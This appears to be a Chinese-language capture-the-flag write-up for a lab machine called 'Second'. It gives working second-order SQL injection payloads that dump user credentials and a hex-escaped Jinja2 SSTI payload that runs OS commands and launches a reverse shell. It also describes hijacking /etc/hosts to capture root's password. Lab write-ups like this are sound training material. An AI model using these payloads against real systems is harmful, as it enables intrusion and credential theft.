Second
排名第二并不是一件坏事,但在这种情况下并非如此。
端口扫描
循例nmap
Web枚举
进到8000
注册个账号进去,没啥用
二次注入
虽然登录框那里没有sql注入,但是可以尝试注册个非法账户名尝试二次注入
登录进去之后使用单词计数器
说明sql语句被执行了
直接利用,注册,这里爆出来回显点是2
' union select 1,2,3,4#-- -
接下来就是通过information_schema爆表爆字段
' union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='website'#-- -
' union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users'#-- -
' union select 1,group_concat(username,'||',password),3,4 from users#-- -
获得smokey的凭据
它可以登ssh
横向移动
在/opt/app下有一个flask
查看app.py看到服务开在5000端口,先转发出来
也是一样的登录框
查看源码发现它是直接把username插入页面,这意味着可以尝试SSTI
注册一个{{1+1}}的用户名,登录得到了结果
虽然它有黑名单,但我们可以通过十六进制字符轻松绕过
payload:
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}
没问题,直接reverse shell
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('/tmp/cmd')|attr('read')()}}
成功过来,同时拿到user flag
权限提升
note.txt
请尽快完成第二个项目现场。 确保 WAF 确实阻止了所有攻击,并且您使用正确的渲染模板来避免 SSTI。 你真的应该让你的网站像我的字计数器一样安全。
另外,我需要你在那个 PHP 站点上打气,我将登录以检查你的进度。
在/var/www下有个dev_site
传个pspy过去,发现有个定时任务
联系上面的note,那么smokey会定时带着凭据登录过去,但dev_site我们并没有权限修改
hosts有acl
查看acl发现hazel有写入权限
hosts里有那个域名,那么如果脚本通过域名请求,那么我们将可以直接修改hosts指向我们的攻击机
覆盖过去
内网还有一个8080端口,那个应该就是dev_site的了
本地端口转发直接转过来
wireshark抓包,得到凭据
这是root的密码,直接su过去
getroot